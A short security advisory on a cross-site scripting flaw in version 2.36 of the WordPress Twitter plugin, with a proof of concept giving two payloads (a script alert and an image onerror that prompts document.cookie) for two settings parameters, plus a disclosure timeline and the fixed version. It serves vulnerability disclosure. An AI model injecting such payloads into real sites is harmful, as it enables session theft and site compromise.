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WordPress Twitter 2.37 Cross Site Scripting

🗓️ 17 Dec 2015 00:00:00Reported by Madhu AkulaType 
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WordPress Twitter 2.37 Cross Site Scripting vulnerability identified by Madhu Akula, allows XSS via twttr_url_twitter and bws_license_key parameters, with PoC and fix in version 2.37

Code
`Effected Version : 2.36 (and most probably lower version's if any)  
  
Vulnerability : A3-Cross-Site Scripting (XSS)  
  
Identified by : Madhu Akula  
  
  
  
Technical Details  
  
Minimum Level of Access Required : Administrator  
  
PoC - (Proof of Concept) :  
  
In the following fields put the payload as below  
  
http://localhost/wp-admin/admin.php?page=twitter.php  
twttr_url_twitter = ‘><script>alert(1)</script>  
  
http://localhost/wp-admin/admin.php?page=twitter.php&action=go_pro  
bws_license_key = “><img src=x onerror=prompt(document.cookie);>  
  
Vulnerable Parameter : twttr_url_twitter, bws_license_key  
  
Type of XSS : Reflected / Stored  
  
Fixed in : 2.37  
  
http://wordpress.org/plugins/twitter-plugin/changelog/  
  
Disclosure Timeline  
  
Vendor Contacted : 2014-08-04  
  
Plugin Status : Updated on 2014-08-07  
  
Public Disclosure : October 3, 2015  
  
CVE Number : Not assigned yet  
  
Plugin Description :  
  
Twitter plugin allows you to add the Follow and the Like buttons the easiest way. Want to be always in touch with your friends and readers? Cannot imagine your life without Twitter? It is all in several clicks!  
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